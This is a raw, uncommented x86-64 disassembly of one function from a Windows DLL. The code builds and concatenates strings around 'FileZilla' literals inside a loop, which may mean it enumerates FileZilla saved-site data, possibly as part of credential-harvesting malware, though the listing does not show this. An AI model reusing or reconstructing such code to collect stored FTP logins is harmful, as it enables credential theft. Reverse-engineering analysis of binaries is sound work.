mov r8d, 1
lea rdx, [0x1800f1e30]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x100], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0xf0]
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e34]
lea rcx, [rbp + 0xd0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800a7730
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xb0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp - 0x58], 0x10
mov r8, qword [rbp - 0x60]
cmovae rdx, qword [rbp - 0x70]
call fcn.1800a7730
mov r8d, 2
lea rdx, [0x1800f1e44]
lea rcx, [rbp + 0x90]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800a7730
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rbp + 0x130]
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x130], xmm0
movups xmmword [rbp + 0x170], xmm1
movups xmmword [rbp + 0x140], xmm1
cmp r14, rax
je 0x18009d16c
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18009d161
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x18009d14e
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009d86a
mov rcx, r8
call fcn.1800afef0
movups xmm0, xmmword [rbp + 0x150]
movups xmm1, xmmword [rbp + 0x170]
movups xmmword [r14], xmm0
movups xmmword [r14 + 0x10], xmm1
jmp 0x18009d1ad
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x18009d1ad
mov rcx, qword [rbp + 0x130]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d1a8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d86a
call fcn.1800afef0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x18009d1ee
mov rcx, qword [rbp + 0x90]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d1e9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d86a
call fcn.1800afef0
mov rdx, qword [rbp + 0xc8]
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], 0
cmp rdx, 0x10
jb 0x18009d248
mov rcx, qword [rbp + 0xb0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d243
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d86a
call fcn.1800afef0
mov rdx, qword [rbp + 0xe8]
mov qword [rbp + 0xc0], rdi
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], 0
cmp rdx, 0x10
jb 0x18009d2a2
mov rcx, qword [rbp + 0xd0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d29d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d86a
call fcn.1800afef0
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0xe0], rdi
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], 0
cmp rdx, 0x10
jb 0x18009d2fc
mov rcx, qword [rbp + 0xf0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d2f7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d86a
call fcn.1800afef0
mov rdx, qword [rbp + 0x128]
mov qword [rbp + 0x100], rdi
mov qword [rbp + 0x108], 0xf
mov byte [rbp + 0xf0], 0
cmp rdx, 0x10
jb 0x18009d356
mov rcx, qword [rbp + 0x110]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d351
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d86a
call fcn.1800afef0
mov rdx, qword [rbp - 0x38]
mov qword [rbp + 0x120], rdi
mov qword [rbp + 0x128], 0xf
mov byte [rbp + 0x110], 0
cmp rdx, 0x10
jb 0x18009d3aa
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d3a5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d86a
call fcn.1800afef0
mov rdx, qword [rbp - 0x18]
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
cmp rdx, 0x10
jb 0x18009d3f5
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d3f0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d86a
call fcn.1800afef0
mov rdx, qword [rbp - 0x78]
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
cmp rdx, 0x10
jb 0x18009d441
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d43c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d86a
call fcn.1800afef0
mov rdx, qword [rsp + 0x48]
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
cmp rdx, 0x10
jb 0x18009d48f
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d48a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d86a
call fcn.1800afef0
mov rdx, qword [rbp + 0x68]
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
cmp rdx, 0x10
jb 0x18009d4dd
mov rcx, qword [rbp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d4d8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d86a
call fcn.1800afef0
mov rax, qword [r15 + 0x18]
mov rcx, r15
cmp rax, 0x10
jb 0x18009d4ed
mov rcx, qword [r15]
cmp qword [r15 + 0x10], 1
jne 0x18009d4fd
cmp byte [rcx], 0x31
jne 0x18009d4fd
mov al, 1
jmp 0x18009d4ff
xor al, al
test al, al
je 0x18009d6eb
mov rdx, qword [r14 + 0x10]
lea rcx, [rsp + 0x30]
add rdx, 3
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
call fcn.1800a9410
cmp qword [r14 + 0x18], 0x10
mov rdx, r14
jb 0x18009d539
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rsp + 0x30]
call fcn.1800a7730
mov r8d, 3
lea rdx, [0x1800f25dc]
lea rcx, [rsp + 0x30]
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e3c]
lea rcx, [rsp + 0x30]
call fcn.1800a7730
lea r8, str.FileZilla
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x150]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800a8460
mov rdx, rax
lea r8, [0x1800f1e3c]
lea rcx, [rbp + 0x170]
call fcn.1800a8460
mov rdx, rax
lea r8, [rbp + 0x10]
lea rcx, [rbp + 0x50]
call fcn.1800a83a0
mov rdx, rax
lea r8, [0x1800f25c8]
lea rcx, [rbp + 0x90]
call fcn.1800a8460
mov rdx, rax
lea r8, [rbp + 0x30]
lea rcx, [rbp + 0xb0]
call fcn.1800a83a0
mov rdx, rax
lea r8, [0x1800f1e3c]
lea rcx, [rbp + 0xd0]
call fcn.1800a8460
mov rdx, rax
lea r8, [rbp - 0x10]
lea rcx, [rbp + 0xf0]
call fcn.1800a83a0
mov rdx, rax
lea r8, [0x1800f1e3c]
lea rcx, [rbp + 0x110]
call fcn.1800a8460
mov rdx, rax
lea r8, [rbp - 0x70]
lea rcx, [rbp - 0x50]
call fcn.1800a83a0
mov rdx, rax
lea r8, [0x1800f1e38]
lea rcx, [rbp - 0x30]
call fcn.1800a8460
mov rdx, rax
mov rcx, r14
call fcn.1800a7830
lea rcx, [rbp - 0x30]
call fcn.1800a77d0
lea rcx, [rbp - 0x50]
call fcn.1800a77d0
lea rcx, [rbp + 0x110]
call fcn.1800a77d0
lea rcx, [rbp + 0xf0]
call fcn.1800a77d0
lea rcx, [rbp + 0xd0]
call fcn.1800a77d0
lea rcx, [rbp + 0xb0]
call fcn.1800a77d0
lea rcx, [rbp + 0x90]
call fcn.1800a77d0
lea rcx, [rbp + 0x50]
call fcn.1800a77d0
lea rcx, [rbp + 0x170]
call fcn.1800a77d0
lea rcx, [rbp + 0x150]
call fcn.1800a77d0
lea rcx, [rsp + 0x70]
call fcn.1800a77d0
lea rcx, [rsp + 0x30]
call fcn.1800a77d0
lea rdx, [0x1800e7940]
lea rcx, [rbp + 0x10]
call fcn.1800a77b0
lea rdx, [0x1800e7940]
lea rcx, [rbp - 0x10]
call fcn.1800a77b0
lea rdx, [0x1800e7940]
lea rcx, [rbp + 0x30]
call fcn.1800a77b0
lea rdx, [0x1800e7940]
lea rcx, [rbp - 0x70]
call fcn.1800a77b0
inc r13d
lea rcx, [rsp + 0x50]
call fcn.1800a77d0
lea rbx, [0x180107590]
mov rcx, r12
call fcn.1800bae60
test eax, eax
je 0x18009bf60
mov rcx, r12
call fcn.1800b8058
lea rdx, [0x1800e7738]
mov rcx, r15
call fcn.1800a8350
test al, al
je 0x18009d804
mov edx, r13d
lea rcx, [rbp - 0x50]
call fcn.180089490
mov r8, rax
lea rdx, str.FileZilla__
lea rcx, [rbp - 0x30]
call fcn.1800a8400
mov rdx, rax
lea r8, [0x1800f1e48]
lea rcx, [rsp + 0x70]
call fcn.1800a8460
mov rdx, rax
lea r8, [0x1800f1e44]
lea rcx, [rsp + 0x30]
call fcn.1800a8460
mov rdx, rax
lea rcx, [rbp + 0x130]
mov r8, r14
call fcn.1800a83a0
mov rdx, rax
mov rcx, r14
call fcn.1800a7830
lea rcx, [rbp + 0x130]
call fcn.1800a77d0
lea rcx, [rsp + 0x30]
call fcn.1800a77d0
lea rcx, [rsp + 0x70]
call fcn.1800a77d0
lea rcx, [rbp - 0x30]
call fcn.1800a77d0
lea rcx, [rbp - 0x50]
call fcn.1800a77d0
lea rcx, [rbp + 0x70]
call fcn.1800a77d0
lea rcx, [rbp + 0x30]
call fcn.1800a77d0
lea rcx, [rbp - 0x70]
call fcn.1800a77d0
lea rcx, [rbp - 0x10]
call fcn.1800a77d0
lea rcx, [rbp + 0x10]
call fcn.1800a77d0
mov rcx, r15
call fcn.1800a77d0
mov rsi, qword [rsp + 0x3e0]
mov rax, r14
mov rbx, qword [rsp + 0x3d8]
mov r12, qword [rsp + 0x3e8]
add rsp, 0x3a0
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret
call fcn.1800a8100
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3
call fcn.1800893c0
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3